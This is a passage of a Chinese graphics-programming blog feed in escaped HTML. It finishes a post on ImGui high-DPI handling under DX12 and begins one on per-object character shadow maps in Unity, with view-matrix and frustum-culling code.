\u003c/span\u003e\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFonts\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClear\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFonts\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eAddFontFromFileTTF\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;...\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e15.0f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edpiScale\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFonts\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eBuild\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui_ImplDX12_InvalidateDeviceObjects\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRECT\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRECT\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003elParam\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSetWindowPos\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehWnd\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003ebottom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprcNewWindow\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSWP_NOZORDER\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSWP_NOACTIVATE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在运行时,修改字体以后,先调用 \u003ccode\u003eio.Fonts-\u0026gt;Build()\u003c/code\u003e 在 CPU 上重新构建字体图集,然后调用 \u003ccode\u003eImGui_ImplDX12_InvalidateDeviceObjects()\u003c/code\u003e 强制重新创建 GPU 上的资源。一开始初始化时不需要调用这两个函数,因为那时候什么缓存都没有,ImGui 会自动构建。\u003c/p\u003e\n\u003chr /\u003e\n\u003cp\u003e理论上,应该再加上\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003eScaleAllSizes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edpiScale\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e但实际上,Style 里不少参数都是整数,每次 Scale 之后都会进行取整,多次 Scale 就会积累很多误差,因此我个人不推荐。\u003c/p\u003e\n\u003ch2 id=\"参考\"\u003e参考\u003ca class=\"headerlink\" href=\"#参考\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/hidpi/high-dpi-desktop-application-development-on-windows\"\u003eHigh DPI Desktop Application Development on Windows - Win32 apps | Microsoft Learn\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/imgui-handle-high-dpi/"},{"title":"仿星铁渲染:主光源角色阴影","time":"2024-07-11T10:45:29Z","content":"\u003ch1 id=\"仿星铁渲染主光源角色阴影\"\u003e仿星铁渲染:主光源角色阴影\u003ca class=\"headerlink\" href=\"#仿星铁渲染主光源角色阴影\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e角色阴影使用了逐物体阴影技术。因为代码有点多,所以只挑一些关键的写。\u003c/p\u003e\n\u003ch2 id=\"逐物体阴影\"\u003e逐物体阴影\u003ca class=\"headerlink\" href=\"#逐物体阴影\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e逐物体阴影(Per-Object Shadow)就是给物体单独生成一张 Shadow Map,解决物体在默认的 Cascaded Shadow Map 上占比较小,阴影精度低的问题,顺便还能把场景阴影和角色阴影分开。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Per-Object Shadow Map,角色尽可能撑满整张图\" src=\"../../../obsidian-vault/attachments/per-object-shadow-map.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e代码大体上按照 URP 的 \u003ca href=\"https://github.com/Unity-Technologies/Graphics/blob/master/Packages/com.unity.render-pipelines.universal/Runtime/Passes/MainLightShadowCasterPass.cs\"\u003e\u003ccode\u003eMainLightShadowCasterPass\u003c/code\u003e\u003c/a\u003e 写,但是一些矩阵需要自己计算。\u003c/p\u003e\n\u003ch3 id=\"角色包围盒\"\u003e角色包围盒\u003ca class=\"headerlink\" href=\"#角色包围盒\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e要让角色尽可能撑满 Shadow Map,就需要知道角色的包围盒。两种方法:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e直接设置一个固定大小的 Box。\u003c/li\u003e\n\u003cli\u003e找到角色身上所有投射阴影的 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Renderer-bounds.html\"\u003e\u003ccode\u003eRenderer.bounds\u003c/code\u003e\u003c/a\u003e,将它们合并起来。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e考虑到播放 AnimationClip 时,角色包围盒会发生变化,我选择第二种方法。\u003c/p\u003e\n\u003ch3 id=\"计算-View-Matrix\"\u003e计算 View Matrix\u003ca class=\"headerlink\" href=\"#计算-View-Matrix\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e把主光源当成相机,再移动到角色包围盒中心,就有一个 View Space。View Matrix 的作用是将 World Space 变换为这个 View Space。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einverse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elightRotation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es_FlipZMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 翻转 z 轴\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eView Space 是 -Z 朝前的右手坐标系。\u003ccode\u003es_FlipZMatrix\u003c/code\u003e 即\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\n1 \u0026amp;0 \u0026amp;0 \u0026amp;0 \\\\\n0 \u0026amp;1 \u0026amp;0 \u0026amp;0 \\\\\n0 \u0026amp;0 \u0026amp;-1 \u0026amp;0 \\\\\n0 \u0026amp;0 \u0026amp;0 \u0026amp;1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e用来翻转 Z 轴。\u003c/p\u003e\n\u003ch3 id=\"剔除\"\u003e剔除\u003ca class=\"headerlink\" href=\"#剔除\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e为了节约资源,看不见的阴影应该提前剔除掉。想准确剔除是很困难的,所以最后我实现了一个 View Space 下的快速且保守的剔除算法。\u003c/p\u003e\n\u003cp\u003e首先,要把角色包围盒和视锥体变换到 View Space,然后计算变换后的 AABB。具体讲,就是把它们的 8 个顶点变换一下,然后重新计算 Min 和 Max。Unity 提供了 \u003ca href=\"https://docs.unity3d.com/ScriptReference/GeometryUtility.CalculateBounds.html\"\u003e\u003ccode\u003eGeometryUtility.CalculateBounds\u003c/code\u003e\u003c/a\u003e 方法。不过我这里要用 Burst,就自己写了一个。视锥体的 8 个顶点可以用 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Camera.CalculateFrustumCorners.html\"\u003e\u003ccode\u003eCamera.CalculateFrustumCorners\u003c/code\u003e\u003c/a\u003e 提前计算好。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eEightPointsAABB\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\u003cspan class=\"n\"\u003eNoAlias\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epoints\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMax\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePositiveInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eNegativeInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epoints\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]).\u003c/span\u003e\u003cspan class=\"n\"\u003exyz\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbMax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e检查角色 AABB 和视锥体 AABB,如果没有相交的话,这个阴影就看不见,需要被剔除。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// shadowMin 和 shadowMax 是角色 AABB\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// frustumMin 和 frustumMax 是视锥体 AABB\u003c/span\u003e\n\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eany\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumMin\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eany\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 剔除\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e如果是角色投射到场景的阴影,理论上它可以打到无穷远处,\u003ccode\u003eshadowMin.z\u003c/code\u003e 需要当成负无穷处理,所以在做相交检测时,\u003ccode\u003eany(shadowMin.xy \u0026gt; frustumMax.xy)\u003c/code\u003e 这一半不需要检查 \u003ccode\u003ez\u003c/code\u003e。然后,要向后延长角色包围盒,包住自己还有这部分视锥体里的物体。但包围盒太长的话深度都集中在 0 或者 1 处,精度不够,所以必须要限制一下长度。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eclamp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efrustumMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e如果是角色的自阴影,它只会投射在自己身上,不会到无穷远处,可以检查 z 方向进一步剔除。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 剔除\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"计算-Projection-Matrix\"\u003e计算 Projection Matrix\u003ca class=\"headerlink\" href=\"#计算-Projection-Matrix\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e主光源(平行光)用的是正交投影,光源视锥体要恰好包住角色,让角色撑满 Shadow Map。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eleft\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 